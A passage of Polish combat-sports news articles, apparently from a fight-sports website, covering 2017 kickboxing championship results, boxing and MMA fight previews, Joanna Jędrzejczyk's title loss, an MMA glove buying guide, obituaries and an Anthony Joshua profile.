Lista brązowych polskich medalistów MŚ 2017: K-1 – Ewa Boś (-48kg), Ewa Pietrzykowska (-56kg), Róża Gumienna (-65kg), Wojciech Kazieczko (-67kg), Bartosz Dołbień (-81kg), Mateusz Pluta (-91kg), kick light – Patryk Kuryłek (-57kg), Łukasz Puczyński (-79kg), full contact – Karolina Mośko (-48kg), Pola Rogala (-65kg), Jakub Pokusa (-71kg), Filip Karbownik (-81kg), low kick – Kamil Rościński (-67kg), Łukasz Kaczmarczyk (-71kg), light contact – Leszek Jobs (-94kg).

-To był mój 2 drugi start w MŚ w kickboxingu. Za pierwszym razem zabrakło zimnej głowy i wyrachowania, skończyło sie na ćwierćfinale. Tym razem chciałem sięgnąć po złoto – mówił Jakub Pokusa.

Na koniec podsumowanie przez trenera low kick Andrzeja Garbaczewskiego: – Cieszymy się z 4 medali w bardzo trudnej konkurencji, w poszczególnych kategoriach było dużo zawodników, nawet Karolina w najlżejszej wadze stoczyła 3 wygrane walki, by móc radować się ze złota. Poziom walk w formule low kick jest bardzo wysoki, widać mocne przygotowania kondycyjne i małe różnice między walczącymi. Ale w dalszym ciągu są faworyzowani zawodnicy z Włoch i Rosji oraz Serbii. Niesprawiedliwy werdykt był w pojedynku Kamila Ruty, ale niestety sędzia z Azerbejdżanu sędziował dla Turka. Liczyliśmy na medal Kamila.

Wyniki finałów MŚ Seniorów

Light contact trenerzy Leszek Jobs, Henryk Piwowar

-60 kg Paulina Jarzmik (Polska) – Luna Mendy (Włochy) wygr. Jarzmik

-84 kg Łukasz Wichowski (Polska) – Luca Padoan (Włochy) wygr. Wichowski
 

Kick light trenerzy Tomasz Biernacki, Patryk Zaborowski

-55kg Dorota Godzina (Polska) – Nelly Hanicz (Węgry) por. Godziny

-60kg Paulina Jarzmik (Polska) – Rita Nagy (Węgry) wygr. Jarzmik

-63kg Mateusz Niżejewski (Polska) – Enzo Bonio (Francja) wygr. Niżejewski

-89kg Piotr Wypchał (Polska) – Luka Żuljević (Chorwacja) wygr. Wypchał

-94kg Michał Grzesiak (Polska) – Boris Misković (Chorwacja) wygr. Grzesiak
 

Full contact trenerzy Radosław Laskowski, Wojciech Kierstein

-70kg Karolina Dziedzic-Gruszowska (Polska) – Birgit Reitan Oksnes (Norwegia) wygr. Dziedzic-Gruszowska

+70kg Beata Leśnik (Polska) – Anastasiia Khudiakova (Rosja) wygr. Leśnik
 

Low kick trenerzy Andrzej Garbaczewski, Witold Kostka

-48kg Karolina Kubiak (Polska) – Stefani Sultanova (Rosja) wygr. Kubiak

-56kg Iwona Iwona Nieroda (Polska) – Anastasiia Hiianova (Rosja) wygr. Nieroda
 

K-1 Rules trenerzy Tomasz Skrzypek, Tomasz Mamulski

-60kg Michał Królik (Polska) – Timur Nadrov (Rosja) por. Królik

-71kg Adam Gielata (Polska) – Bogdan Shumarov (Bułgaria) wygr. Gielata

-86kg Maksymilian Bratkowicz (Polska) – Fabio Alberto Cordovil (Brazylia) wygr. Bratkowicz

+91kg Michał Bławdziewicz (Polska) – Bahram Rajabzadeh (Azerbejdżan) por. Bławdziewicz

Źródło: www.PZKickboxing.pl

LIVE: Granda PRO 5 – Draka

Zapraszamy na transmisję telewizyjną z Gali Granda PRO 5 – Draka, która odbędzie się 18 listopada 2017 na warszawskim Torwarze w siedzibie klubu Legia Fight Club. Start transmisji od godz. 20.30.

[kod]

Granda PRO 5 – DRAKA

Granda PRO 5 – DRAKA

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Czy Wach otworzy sobie drzwi?

Trudne wyzwanie przed Mariuszem Wachem. Jeśli 11 listopada Polak pokona Jarrella Millera, otworzą się przed nim rozległe możliwości.

Kariera Mariusza Wacha to wzloty i upadki. 37-latek ma okazję, aby ponownie w świecie boksu zrobiło się o nim głośno. Kto wie, czy to już nie ostatnia szansa dla Polaka.

Poprzeczka wisi wysoko

Doświadczony bokser miał już okazję walczyć o stawkę w wadze ciężkiej. 11 listopada w Uniondale pod Nowym Jorkiem nie będzie rywalizował o żaden pas, jednak wygrana w starciu z Jarrelem Millerem może być dla Polaka trampoliną. Wydaje się, że to ostatni dzwonek dla Wacha, aby coś jeszcze ugrać w wadze ciężkiej. 

Doświadczenie może być atutem dla popularnego „Wikinga”, który jest mocny. Nie ugiął się przed Władimirem Kliczko. W 2012 roku przetrwał dwanaście rund, ale pasy IBF, WBA i WBO pozostały w posiadaniu Ukraińca. A po walce rozegrał się prawdziwy dramat. Okazało się, że Mariusz Wach był na dopingu. Skończyło się na ośmiomiesięcznej karze. Wach wrócił, wygrał cztery pojedynki i stanął w szranki z Aleksandrem Powietkinem. Stawką był srebrny pas mistrzowski WBC. Wach przegrał przez techniczny nokaut w dwunastej rundzie, a Rosjanie twierdzili, że rywalizował na… dopingu.

Wach udowodnił, że potrafi być do bólu skuteczny. Jego walki z Christianem Hammerem, Kevinem McBridem czy Jasonem Gavernem robiły wrażenie. Polak wygrywał przed czasem, co ostatnio mu się nie zdarza. W tym roku na pełnym dystansie pokonał Erkana Tepera. Najbliższy rywal 37-latka to zupełnie inna półka niż 35-letni reprezentant Niemiec. Choć warto przyznać, że Teper to solidny pięściarz i wygrana Polaka pokazuje tkwiący w nim potencjał. Jednak w najbliższej walce Wach musi wspiąć się na wyżyny. 29-letni Jarrel Miller wygrał dziewiętnaście walk, w tym siedemnaście przed czasem. Amerykanin uchodzi za faworyta w starciu z Wachem. Zwycięstwem ma utorować sobie drogę do rywalizacji z mistrzem WBA, IBF, IBO Anthonym Joshuą.

Będzie gwiazdą?

Dzisiejszy świat potrzebuje takich ludzi. Miller robi wokół siebie wiele szumu, co pomaga mu budować zainteresowanie walką. Otwarty na rozmowę, używa barwnego języka i dotychczas jest skuteczny. Eddie Hearn, promotor Anthony'ego Joshuy, wchodzi na amerykański rynek i chce poznać jego specyfikę. Wygląda na to, że rozgląda się za rywalem dla swojego podopiecznego i Miller idealnie pasuje do jego wyobrażeń.

29-letni Amerykanin zapowiada, że znokautuje Wacha. Granicą ma być ósma runda. Potężny Amerykanin przezwyczaił, że wygrywa przed czasem. Jeśli Wach przetrwa, może być różnie. Kondycja Millera nie musi być wcale idealna.

Fot. Mariusz Wach Boxing

KM

Zapaśnik ponownie wejdzie do klatki

Damian Janikowski stoczy swój drugi pojedynek w MMA. Brązowy medalista Igrzysk Olimpijskich w Londynie w zapasach zaprezentuje się na gali KSW 41 w katowickim Spodku.

Najlepsza polska organizacja MMA powoli uchyla rąbka tajemnicy. Wiemy, że 23 grudnia oprócz Janikowskiego w Katowicach wystąpią również m.in. Marcin Wrzosek, Borys Mańkowski i Artur Sowiński. Zapowiada się gorący zimowy wieczór!

Prawdziwy wojownik

O Janikowskim zrobiło się głośno, gdy zdobył brąz Igrzysk Olimpijskich w Londynie. Dla polskich zapasów pojawiła się nadzieja. Silny jak tur zawodnik miał stać się pierwszoplanową postacią dyscypliny. W 2014 roku sięgnął po brąz mistrzostw Europy w Vantaa, dwa lata wcześniej zdobył srebro w Belgardzie. Zdobył również wicemistrzostwo świata w Stambule w 2011 roku. Janikowski udowodnił, że ma ogromne możliwości. Jasne stało się, że kolejnym celem zapaśnika będzie uzyskanie kwalifikacji do igrzysk w Rio de Janeiro. W mistrzostwach świata w Las Vegas nie zdobył przepustki. Polak zajął siódme miejsce, a awansowała najlepsza szóstka. Turnieje w Zrenjaninie i Ułan Bator również nie potoczyły się po myśli Janikowskiego.

Zawodnik postanowił zakończyć pewien etap i spróbować sił w MMA. Rok temu Janikowski podpisał umowę z KSW. Na pierwszą walkę czekał sześć miesięcy, ale przyszło mu wystąpić przed wypełnioną po brzegi areną na gali KSW 39: Coloseum. Cały stadion PGE Narodowy czekał na walkę potężnie zbudowanego i niezwykle ruchliwego medalisty olimpijskiego z Londynu. Janikowski udowodnił, że może być czołowym fighterem wagi średniej. Polak efektownie uporał się z Julio Gerardo Gallegosem, którego pokonał w pierwszej rundzie. W klinczu rywal otrzymał kilka łokci, a później mocne kolano powaliło Amerykanina na deski.

23 grudnia Damian Janikowski po raz kolejny będzie miał okazję uwolnić swoją energię. Z kim się zmierzy? Na tę wiadomość trzeba poczekać.

Ciekawy rywal Mańkowskiego

Mistrz wagi półśredniej zmierzy się na KSW 41 z Dricusem Du Plessisem. 23-letni zawodnik z Republiki Południowej Afryki wygrał siedem kolejnych walk, po drodze pokonał m.in. Rafała Haratyka. Du Plessis może pochwalić się tytułem mistrzowskim organizacji Extreme Fighting Championship w limicie 170 funtów. W czerwcu poprawił swój dorobek o pas wyższej kategorii. Wszystkie dotychczasowe walki z udziałem 23-latka kończyły się przed czasem.

Z kolei Mańkowski stanie w Katowicach do czwartej obrony mistrzowskiego pasa. W swoim ostatnim występie przegrał z Mamedem Khalidovem w walce wieczoru na KSW 39, ale było to starcie dwóch zawodników z różnych kategorii wagowych, a na szali nie pojawił się żaden tytuł.

Ciekawie zapowiada się w starcie w kategorii piórkowej pomiędzy Marcinem Wrzoskiem a Romanem Szymańskim. W maju „Polski Zombie” stracił pas na rzecz Klebera Koike Erbsta. Z kolei Szymański na KSW 38 uporał się z Denilsonem Nevesem.

W Katowicach dojdzie do starcia o pas kategorii piórkowej. Artur Sowiński postara się odebrać tytuł Kleberowi Koike Erbstowi. Debiut w KSW zaliczy Tomasz Oświeciński, który zmierzy się z Pawłem Mikołajuwem.

Fot. Damian Janikowski Facebook

KM

Karolina Owczarz spróbuje sił w MMA

Dała się poznać jako obiecująca bokserka, jednak później zdecydowała się na… mikrofon. Teraz postanowiła go odłożyć i spróbować sił w MMA. O kim mowa? O Karolinie Owczarz.

Ze sportami walki związana od dziecka, jednak od kilku lat nie występowała w roli aktywnej zawodniczki. W końcu 24-latka postanowiła to zmienić. Karolina Owczarz zaprezentuje się w klatce, a nie jak wcześniej w ringu.

Utalentowana bokserka

Połowę swojego życia związana jest ze sportami walki. Karolina Owczarz przygodę z boksem rozpoczęła w wieku 12 lat i połknęła bakcyla. Kolejne treningi, wyzwania i chęć zwyciężania, a zarazem doskonalenia swoich umiejętności. W 2011 roku Owczarz sięgnęła po złoty medal mistrzostw Polski w boksie kobiet. Po tym sukcesie postanowiła ruszyć w świat. Owczarz wystąpiła w meksykańskim show „Reto de campeonas”, promującym talenty z całego świata.

Po powrocie do Polski stoczyła swoją pierwszą zawodową walkę. Występująca w wadze lekkiej pięściarka zmierzyła się z Eleną Gromyko. 16 września 2011 roku w warszawskiej hali Torwar pokonała Rosjankę już w pierwsze rundzie. Miesiąc później stoczyła kolejne dwa pojedynki, a ostatni zaliczyła w marcu 2012 roku. Wszystkie walki wygrała i w wieku 20 lat podjęła decyzję o… zawieszeniu kariery.

Zapewne wiele osób było zaskoczonych takim obrotem sytuacji, ale decyzję Owczarz należało uszanować. Bokserka postanowiła zostać przy sportach walki i spełniać się w nieco innej roli. Chwyciła za mikrofon i występowała przed kamerą w jednej ze sportowych stacji. Minęły cztery lata…

Teraz MMA

Karolina Owczarz cały czas czuła w powietrzu zapach sportów walki. Zaczęła uczęszczać na treningi MMA, poczuła we krwi zastrzyk adrenaliny, a przy okazji głód rywalizacji. I gotowe. 24-latka wraca do aktywnego uprawiania sportu, chce próbować swoich sił w MMA. Otwarte pozostają pytania – kiedy, z kim i gdzie? – Kiedy Artur Ostaszewski z Shocker MMA kilka miesięcy temu, w prywatnej rozmowie, rzucił hasło: pomyśl o MMA, to zaczęłam sie śmiać i urwałam temat. Myśl wracała jednak do mnie jak bumerang i okazało się, że Artur jak zwykle miał rację… Teraz w końcu mogę oficjalnie ogłosić, że jestem częścią Shocker MMA – napisała na swoim Facebooku Karolina Owczarz.

Warto dodać, że w grupie Shocker są m.in. Marcin Różalski, Tomasz Oświeciński czy Albert Odzimkowski.

Fot. Karolina Owczarz Facebook

KM

Podgorica czeka na judoków

Trzy dni zmagań w stolicy Czarnogóry. 10 listopada rozpoczną się młodzieżowe mistrzostwa Europy w judo. O medale powalczy dziesięcioro reprezentantów Polski.

Zawodnicy do lat 23 lat będą mieli okazję sprawdzić swoje możliwości w imprezie rangi mistrzowskiej. Czy Polacy zabłysną w Podgoricy?

Piękne miejsce

Niejeden turysta powie, że warto odwiedzić Czarnogórę. Dla wielu zwiedzających odkrycie Podgoricy i poznanie jej stanowi wyjątkowe doświadczenie. Miasto położone między Ribnicą i Moracą robi wrażenie. Podgorica może pochwalić się, jak wiele miejsc na Bałkanach, bogatą historią. W XV wieku miasto zostało częścią Imperium Osmańskiego, a później Czarnogóry. Wcześniej miało inne nazwy, związane było m.in. z Wenecją. Następnie Podgorica została włączona do Serbii, a potem Jugosławii. Niezwykle bolesny dla miasta był rok 1944, kiedy to zostało ono zbombardowane, ale w grudniu tego samego roku udało się je wyzwolić. Po wojnie trwała jego odbudowa. Obecnie Podgorica jest niezwykle urocza, piękna i stanowi wizytówkę, budzącej coraz większą ciekawość wśród turystów, Czarnogóry.

Przy okazji młodzieżowych mistrzostw Europy w judo, nadarza się znakomita okazja, aby poznać miasto. Przez trzy dni, 10-12 listopada, Podgorica będzie gościła ponad 300 zawodniczek i zawodników z blisko 40 państw. W stolicy Czarnogóry zaprezentuje się dziesięcioro Polaków: Patryk Wawrzyczek (-66kg), Mateusz Garbacz (-73kg), Piotr Kuczera (-90kg), Rafał Kozłowski (-90kg), Katarzyna Wiszniewska (-48kg), Urszula Hofman (-70kg), Paula Kułaga (-78kg), Beata Pacut (-78kg), Anita Formela (+78kg) i Anna Załęczna (+78kg).

Jedną z naszych faworytek do miejsca na podium jest Beata Pacut (78kg). Rok temu w Tel Awiwie Polka przegrała w ćwierćfinale z późniejszą triumfatorką Anastasiyą Turchyn i zajęła siódme miejsce. Tegoroczne starty w wykonaniu 21-letniej zawodniczki Czarnych Bytom są bardzo dobre. Pacut już trzykrotnie meldowała się na podium międzynarodowych turniejów. Polka zajmowała drugie miejsca w Pradze, Mińsku i Taszkiencie. Czas na kolejny medal na imprezie rangi mistrzowstw Europy. Do tej pory Pacut zapisała na swoim koncie srebro w czempionacie juniorów w 2014 roku.

Po raz ostatni w młodzieżowych mistrzostwach Europy zaprezentuje się Piotr Kuczera (90kg). W Tel Awiwie zawodnik z Rybnika odpadł już w eliminacjach. Teraz 22-latek znalazł się w gronie tych, którzy powalczą o podium. Ma argumenty, bo w tym roku już cztery razy stał na podium. Jednak ostatni raz 15 lipca w Saarburecken, gdzie zajął trzecie miejsce.

Blisko podium

Rok temu w Izraelu o krok od medalu młodzieżowych mistrzostw Europy były Paula Kułaga (78kg) i Anna Załęczna (+78kg). Obie wygrały po dwie walki, jednak na ostatniej prostej musiały uznać wyższość odpowiednio Giorgii Stangherlin i Jodie Myers. W tym roku zdecydowanie lepiej prezentuje się Załęczna, która m.in. była trzecia w Celje.

KM

Już nie jest naszą królową?

Joanna Jędrzejczyk na kolanach, Polka straciła pas mistrzyni UFC kategorii słomkowej. Piękny sen został przerwany, pierwsza porażka w MMA na koncie 30-latki. Czy przegrana w starciu z Rose Namajunas stanowi powód do dyskredytowania możliwości Joanny Jędrzejczyk?

30-latka pochodząca z Olsztyna stała się marką samą w sobie. Jedną z najbardziej rozpoznawalnych i lubianych polskich sportsmenek. Teraz dla Joanny Jędrzejczyk nastał trudny czas.

Przegrać jeden raz

„Zwycięstwo ma wielu ojców, porażka jest sierotą” – prawda stara jak świat. Niestety, praktyka życia jest tego najlepszym potwierdzeniem. Tłumy wielbią zwycięzców, bo chcą mieć swoich idoli. A gdy przychodzi porażka, wylewają wiadro pomyj. Może w przypadku Joanny Jędrzejczyk aż tak źle nie jest. Jednak porażka na gali UFC 217 w Madison Square Garden i utrata mistrzowskiego pasa na rzecz Rose Namajunas sprawiła, że akcje Polki poszybowały w dół. Wcale nie jest taka dobra, jak się wydawało. Ma słabą szczękę. Musiała kiedyś przegrać. Wreszcie ktoś jej utarł nosa. Oceniać i komentować każdy może, ale pytanie – czy ma ku temu solidne podstawy. Bo przydałaby się analiza, rozeznanie, bo słowa mają swoją wagę i mogą ranić. Można rzucać na lewo i prawo ocenami, ale co one mają wspólnego z rzeczywistością?

Każdy może przegrać. Najważniejsze, aby umiał się podnieść i iść dalej. Do tej pory Joanna Jędrzejczyk kibicom MMA w Polsce dostarczała wiele radości i wzruszeń. 30-latka pokazała, że jeśli się chce, to można wznieść się na szczyt. Zawsze uśmiechnięta, radosna, pozytywnie nastawiona do otoczenia i gotowa do ciężkiej pracy. W świecie sportów walki może uchodzić za autorytet. Przebiła się w UFC i zyskała miano gwiazdy. 14 marca 2015 roku pokonała Carlę Esparzę i sięgnęła po mistrzostwo w wadze słomkowej. Pięć razy skutecznie broniła swojej zdobyczy, ale szósta zakończyła się stosunkowo szybko. Rose Namajunas dopadła Polkę w pierwszej rundzie. Jędrzejczyk padła po ciosach Amerykanki, ale wstała, jednak kolejny atak był perfekcyjny. Namajunas okładała olsztyniankę i ta odklepała. Wkroczył sędzia, który przerwał pojedynek. Amerykanka spełniła swoje marzenia. A może tak warto spojrzeć na tę walkę? Naładowana Namajunas sięgnęła po pas mistrzowski. Z kolei Jędrzejczyk zanotowała pierwszą porażkę w karierze, straciła pas po 966 dniach.

Co dalej?

Polka nie zapadnie się pod ziemię i nie zniknie. Jest prawdziwą wojowniczką i z pewnością zobaczymy ją w walce z Namajunas. Trzeba tylko pamiętać, że jedna porażka nie przekreśla całego dorobku, a po tym jak się przegrywa poznaje się prawdziwych mistrzów. O tym warto pamiętać!

Joanna Jędrzejczyk nie rozpamiętuje porażki. – Patrzę z optymizmem w przyszłość. Wiem, że wrócę silniejsza niż kiedykolwiek i szybciej niż się tego spodziewacie – napisała na swoim Facebooku.

Fot. Facebook Joanna Jędrzejczyk

KM

Jak wybrać rękawice do MMA?

Rękawice MMA muszą być wygodne

To pierwsza i najważniejsza sprawa. Nie da się efektywnie ćwiczyć wyprowadzania ciosów, jeżeli rękawice będą zbyt luźne. Z drugiej strony nadmierna ciasnota może być nie tylko niewygodna, ale tez prowadzić do otarć. Dlatego staraj się znaleźć rękawice, które będą jak najlepiej pasować do wielkości Twoich dłoni. Jeśli kupujesz je przez internet, zawsze możesz wcześniej zapytać o możliwość wymiany na inny rozmiar.

Zwróć uwagę na rzep

Rzepy, którymi mocujesz rękawice na nadgarstkach, odpowiadają nie tylko za to, żeby rękawice dobrze się trzymały na pięściach, ale i za stabilizację nadgarstka. Z tego też powodu warto, by były odpowiednio szerokie. Ma to znaczenie zwłaszcza w przypadku osób początkujących, które jeszcze nie mają wyrobionego odruchu prawidłowego układania pieści w trakcie uderzenia.

Poziom zabudowania rękawicy

Większość sklepów z akcesoriami do sportów walki (chociażby FighterShop) proponują rękawice MMA o warstwach ochronnych o bardzo różnej grubości. Czym właściwie różnią się między sobą i kiedy warto po nie sięgać? Przede wszystkim przekazywaną siłą uderzenia, ale też zakresem ruchów.

Te bardziej zabudowane ograniczają możliwości chwytów i podduszania, co sprawia, że w walkach sięga się raczej po ich lżejsze odpowiedniki. Należy jednak zaznaczyć, że z perspektywy początkującego ograniczenie to jest pomijalne, ponieważ do podstawowych chwytów i tak wystarczają. Jednocześnie nawet zaawansowani sięgają po bardziej zabudowane rękawice gdy uczestniczą w sparingach. Warto tez zaznaczyć, że na workach MMA spokojnie można ćwiczyć i w lekkich i w bardziej obudowanych rękawicach.

Które więc wybrać? Na dłuższą metę warto mieć dwie pary, jedną prostą, drugą obudowaną, ale początkowo wystarczy wersja zapewniająca większe bezpieczeństwo (zarówno dla partnerów treningowych, jak i dla własnych dłoni).

Szósta obrona przed Jędrzejczyk

4 listopada Joanna Jędrzejczyk zmierzy się z Rose Namajunas na gali UFC 217 w Madison Square Garden w Nowym Jorku. Dla Polki będzie to już szósta obrona mistrzowskiego pasa w kategorii słomkowej.

30-latka pochodząca z Olsztyna jest jak maszyna, która odprawia kolejne rywalki. Jędrzejczyk wygodnie rozsiadła się na tronie i stała się królową MMA.

Mistrzyni jest jedna

Po raz drugi Joanna Jędrzejczyk będzie broniła mistrzowskiego pasa w Madison Square Garden. W Nowym Jorku rywalizowała na gali UFC 205, gdzie pokonała Karolinę Kowalkiewicz. To właśnie wtedy Conor McGregor wygrał przed czasem z Eddim Alvarezem i sięgnął po pas w wadze lekkiej. Wracając do Polki, tytuł wywalczyła dwa i pół roku temu. W Dallas wygrala przez nokaut z Carlą Esparzą i sięgnęła po pas wagi słomkowej. Nie brakowało zawodniczek, które żywiły nadzieję, że odbiorą Jędrzejczyk miano najlepszej. Jessica Penne, Valerie Letourneau, Claudia Gadelha, Kowalkiewicz i Jessica Andrade próbowały, ale musiały obejść się smakiem.

Teraz swojej szansy szuka Rose Namajunas. 25-letnia Amerykanka, która ma korzenie litewskie swoją przygodę ze sportami walki rozpoczęła w wieku pięciu lat. Namajunas może pochwalić się czarnymi pasami taekwondo i karate. Trenowała również jiu-jitsu. Co ciekawe, zawodniczka UFC ma szeroki wachlarz talentów. Namajunas ukończyła Wyższą Szkołę Sztuk Pięknych w Milwaukee. W wonych chwilach lubi grać… Chopina. Do MMA weszła mocnym akcetem. Dotarła do finału The Ulimate Fighter 20. W grudniu 2014 roku przegrała w trzeciej rundzie z Carlą Esparzą. Następnie Namajunas wygrała trzy walki w UFC, dopiero Karolina Kowalkiewicz zatrzymała Namajunas, ale wygrała niejednogłośną decyzją sędziów. W kwietniu 25-latka pokonała Michelle Waterson przez duszenie w drugiej rundzie.

W Nowym Jorku Namajunas stanie przed życiową szansą, ale Jędrzejczyk to doświadczona i niemalże perfekcyjna zawodniczka. Polka musi uważać na Amerykankę, która potrafi w mgnieniu oka znaleźć pozycję i zmusić rywalkę do poddania. Z pewnością mistrzyni UFC poznała Namajunas na wylot i jest w pełni przygotowana do rywalizacji.

Powrót

Prawie cztery lata fani MMA musieli czekać na kolejną walkę Georgesa St. Pierre'a. Kanadayjczyk ma fantastyczną passę dwunastu wygranych z rzędu. W Nowym Jorku St. Pierre zaprezentuje się w walce wieczoru, a jego rywalem będzie z mistrzem wagi średniej Michaelem Bispingiem.

Podczas gali UFC 217 dojdzie również do starcia o pas w wadze koguciej. Cody Garbrandt będzie bronił tytułu w starciu z T.J. Dillashawem.

Fot. Joanna Jędrzejczyk Facebook 

KM

Na zawsze pozostaną w naszej pamięci

Dzień Wszystkich Świętych to czas pogłębionej refleksji. Pochylamy się nad mogiłami tych, których nie ma. Wydaje się, że jeszcze niedawno z nimi rozmawialiśmy, wspólnie działaliśmy, śmialiśmy się. Zaduma nad życiem, jego kruchością i istotą. A w tym wszystkim pamięć. Bo choć ich nie ma, nadal trwają. W naszych sercach, w naszej pamięci.

W ciągu roku pożegnaliśmy wiele wybitnych postaci związanych ze sportami walki. „Byk z Bronxu” – tak nazywano Jake LaMottę, który charateryzował się niezwykłą wytrzymałością. Bokser stoczył 106 walk, wygrał 83. Na podstawie jego życiorysu Martin Scorsese nakręcił film „Wściekły Byk” z Robertem De Niro w roli głównej. Jake LaMotta zmarł 19 września 2017 roku w wieku 95 lat.

W Los Angeles sięgnął po tytuł mistrza świata kategorii piórkowej. Było to w 1963 roku. Sugar Ramos pokonał Daveya Moore'a, którego po 10. rundzie poddał jego sekundant. Kilka dni po walce pięściarz zmarł. Z kolei pochodzący z Kuby Ramos skutecznie bronił tytułu do września 1964 roku. Później walczył jeszcze o pas w wadze lekkiej, ale bezskutecznie. Zmarł mając 75 lat.

Józef Grudzień był jednym z najwybitniejszych polskich bokserów. Zdobył złoto Igrzysk Olipijskich w Tokio w 1964 roku, cztery lata później w Meksyku sięgnął po srebro. Na swoim koncie zapisał również mistrzostwo i wicemistrzostwo Europy. Sukcesy odnosił w wadze lekkiej. Józef Grudzień zmarł w wieku 78 lat.

Zaledwie 34 lata przeżył Tim Hauge. Kanadyjczyk dał się poznać kibicom jako twardy zawodnik MMA, który na swoim koncie zapisał występy w UFC. W czerwcu zaprezentował się w ringu bokserskim. Hauge zaliczył pięć nokdaunów w walce z Adamem Braidwoodem. Trafił do szpitala z obrażeniami mózgu, po kilku dniach zmarł.

Po ponad rocznej przerwie do klatki MMA wrócił Donshay White. W drugiej rundzie przerwano jego walkę z Rickym Musem.W drodze do szatni White stracił przytomność i już jej nie odzyskał. Odszedł w wieku 37 lat.

Zaledwie siedemnaście walk w MMA stoczył Dawid Żywica. Miało być więcej… W ostatniej walce zdolny fighter zaprezentował się podczas gali PLMA 70 w Warszawie, gdzie pokonał Sonica Valerianova. Półtora miesiąca później Żywica zmarł. Miał 25 lat.

Tylko 17 lat przeżył Jakub Szczęsny. Całe środowisko kickboxingu pogrążyło się w smutku. Trenował w klubie FC Knurów i z nadzieją patrzył w przyszłość. Uprawiał również, z sukcesami, taekwondo. W wieku 64 lat odszeł mistrz Europy w wadze ciężkiej z 1975 roku w boksie Andrzej Biegalski.

W naszej pamięci pozostają: Grzegorz Pieronkiewicz, Muhammad Ali, Wiesław Rudkowski, Henryk Średnicki, Józef Warchoł, Bogdan Chruścicki, Bohdan Tomaszewski, Jerzy Kulej, Zbigniew Pietrzykowski. Zrobili wiele dla sportów walki, tworzyli historię i na trwałe się w niej zapisali. Pozostaną w naszych sercach. Na zawsze.

KM

Anthony Joshua

Brytyjski bokser wagi ciężkiej urodzony 15 października 1989 roku w Watford. Mistrz olimpijski i wicemistrz świata amatorów, aktualny zawodowy mistrz świata federacji IBF, superczempion WBA i IBO. W 2011 roku, w barwach reprezentacji, podczas mistrzostw świata amatorów w Baku zdobył srebrny medal w kategorii superciężkiej (powyżej 91 kg). Na igrzyskach olimpijskich w Londynie zdobył złoty medal w kategorii powyżej 91 kg.

Zawodową karierę rozpoczął 5 października 2013 w Londynie, pokonując przez TKO w pierwszej rundzie Włocha Emanuele Leo. 22 listopada 2014 w Echo Arena w Liverpoolu, w kolejnej dziesiątej swojej walce Joshua spotkał się z rodakiem Michaelem Sprottem (42-23, 17 KO). Po serii ciosów w pierwszej rundzie Anthony'ego, arbiter Terry O'Connor przerwał walkę, ogłaszając wygraną Joshui przez TKO. 4 kwietnia 2015 w Metro Radio Arena w Newcastle znokautował w trzeciej rundzie Amerykanina Jasona Gaverna (26-20-4, 11 KO). 9 maja 2015 w Birmingham znokautował w drugiej rundzie Brazylijczyka Raphaela Zumbano Love′a (36-11-1, 29 KO). 30 maja 2015 w Londynie wygrał przez techniczny nokaut w drugiej rudzie z Amerykaninem Kevinem Johnsonem (29-7-1, 14 KO), zdobywając międzynarodowy tytuł WBC. 12 września 2015 w Londynie wygrał przez techniczny nokaut pokonując w pierwszej rundzie Szkota Gary'ego Cornisha (21-1, 12 KO). 12 grudnia 2015 w Londynie pokonał przez techniczny nokaut w siódmej rundzie Dilliana Whyte (16-1, 13 KO).

9 kwietnia 2016 w londyńskiej O2 Arena znokautował w drugiej rundzie Amerykanina Charlesa Martina (23-1-1, 21 KO), zdobywając tym samym tytuł mistrza świata federacji IBF. 25 czerwca 2016 w Londynie pokonał w pierwszej obronie tytuł mistrza świata przez nokaut w siódmej rundzie Amerykanina Dominica Breazeale'a (17-1, 15 KO). 10 grudnia 2016 w Manchesterze pokonał przez techniczny nokaut w trzeciej rundzie Amerykanina Erica Molinę (25-4, 19 KO), broniąc po raz drugi tytuł mistrza świata wagi ciężkiej federacji IBF.

29.04.2017r. doszło do oczekiwanej walki z byłym mistrzem świata WBA, IBF, WBO i IBO Ukraińcem Wołodymyrem Kłyczko. Walka odbyła się w Londynie na stadionie Wembley przy blisko 90 tys. widzach obecnych na trybunach. Obaj pięściarze według nieoficjalnych informacji mieli za walkę zainkasować minimum 15 mln. funtów, co było by największymi wypłatami w ich karierach. Przed starciem zdecydowanym faworytem bukmacherów i większości ekspertów był młodszy Joshua. Sama walka miała przebieg dramatyczny. Gdy wydawało się, że Anglik może zakończyć walkę w 5 rundzie dopadł go kryzys kondycyjny, a jego ciosy były niedokładne. Wykorzystał to bardziej doświadczony Kliczko, który nie dość, że doszedł do siebie po liczeniu to jeszcze zepchnął do obrony zmęczonego Anglika, który ledwo dotrwał do końca rundy. W 6 rundzie inicjatywę przejął Kliczko, który sensacyjnie rzucił ulubieńca publiczności na deski. Jednak Joshua podniósł się i ponownie cudem przetrwał do końca rundy. Obaj pięściarze wyglądali na skrajnie wymęczonych. W następnych rundach pojedynek się lekko uspokoił, obaj zawodnicy starali się nabrać nowych sił. W 11 rundzie do ataku ponownie ruszył Joshua trafiając potężnie Ukraińca i dwukrotnie posyłając go na deski. Po kolejnym ataku Anglika sędzia zastopował pojedynek chroniąc Ukraińca przez prawdopodobnie ciężkim nokautem. Tym samym Joshua odniósł swoje 19 zwycięstwo w karierze, obronił po raz trzeci w karierze pasa IBF i dorzucił do kolekcji brakujące tytuły WBA i IBO.

Sarnacki o krok od triumfu

Judoka Maciej Sarnacki (+100kg) wywalczył srebrny medal w zawodach Grand Slam w Abu Dhabi. Na podium stanęła również Agata Ozdoba-Błach (63kg), która była trzecia. Z kolei w Pucharze Europy kadetów w Koper biało-czerwoni zdobyli dwa medale.

Nasza młodzież zajęła siódme miejsce w klasyfikacji końcowej zawodów, zaś seniorzy w Abu Dhabi uplasowali się na czternastej pozycji.

W końcu podium

